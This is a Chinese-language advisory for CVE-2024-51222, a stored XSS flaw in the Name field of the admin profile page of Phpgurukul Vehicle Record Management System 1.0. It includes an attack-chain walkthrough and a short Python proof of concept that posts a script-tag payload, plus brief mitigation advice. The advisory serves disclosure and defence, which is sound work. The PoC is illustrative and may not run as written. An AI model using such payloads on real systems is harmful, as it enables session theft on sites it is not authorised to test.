IPBUF安全漏洞报告
English
CVE-2024-51222 CVSS 4.8 中危

CVE-2024-51222 Phpgurukul车辆管理系统存储型XSS漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2024-51222
漏洞类型
存储型XSS
CVSS评分
4.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Phpgurukul Vehicle Record Management System

相关标签

XSS存储型XSSPhpgurukulCVE-2024-51222车辆管理系统

漏洞概述

Phpgurukul Vehicle Record Management System v1.0在/admin/profile.php组件中存在存储型跨站脚本(XSS)漏洞。由于未对Name参数进行充分过滤,攻击者可注入恶意脚本。当管理员访问受影响页面时,脚本将被执行,可能导致窃取Cookie或会话劫持等风险。

技术细节

该漏洞源于Phpgurukul车辆管理系统v1.0版本在处理用户个人信息更新请求时,缺乏对Name参数的有效安全验证。攻击者需具备高权限账户(PR:H),通过/admin/profile.php接口提交包含恶意JavaScript代码的数据。该数据被直接存储在后端数据库中而未经过滤。当其他用户(特别是管理员)访问包含该数据的页面时,恶意代码会在其浏览器端渲染执行。由于作用域为S:C,脚本可能影响当前上下文,造成机密性泄露(C:L)和完整性破坏(I:L)。

攻击链分析

STEP 1
1. 身份认证
攻击者获取并登录一个高权限账户(如管理员账户),因为CVSS向量显示需要高权限(PR:H)。
STEP 2
2. 漏洞利用
攻击者访问/admin/profile.php页面,并在Name参数中构造并提交恶意的XSS Payload。
STEP 3
3. 恶意存储
应用程序将未经过滤的恶意代码存储在数据库中。
STEP 4
4. 触发执行
当管理员或用户访问包含该恶意数据的个人资料页面时,浏览器解析并执行恶意脚本。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable component url = "http://target-ip/VehicleRecordManagement/admin/profile.php" # Malicious payload to be injected into the Name parameter xss_payload = "<script>alert('CVE-2024-51222 XSS');</script>" # Data payload for the POST request # Note: Actual parameter names may vary depending on the form implementation payload_data = { "name": xss_payload, "submit": "Update" } try: # Sending the POST request to inject the payload response = requests.post(url, data=payload_data) if response.status_code == 200: print("Payload injected successfully.") print("Check the admin profile page to verify execution.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

Phpgurukul Vehicle Record Management System 1.0

防御指南

临时缓解措施
在未升级版本前,建议实施严格的输入过滤机制,并使用Web应用防火墙(WAF)检测和拦截常见的XSS攻击模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表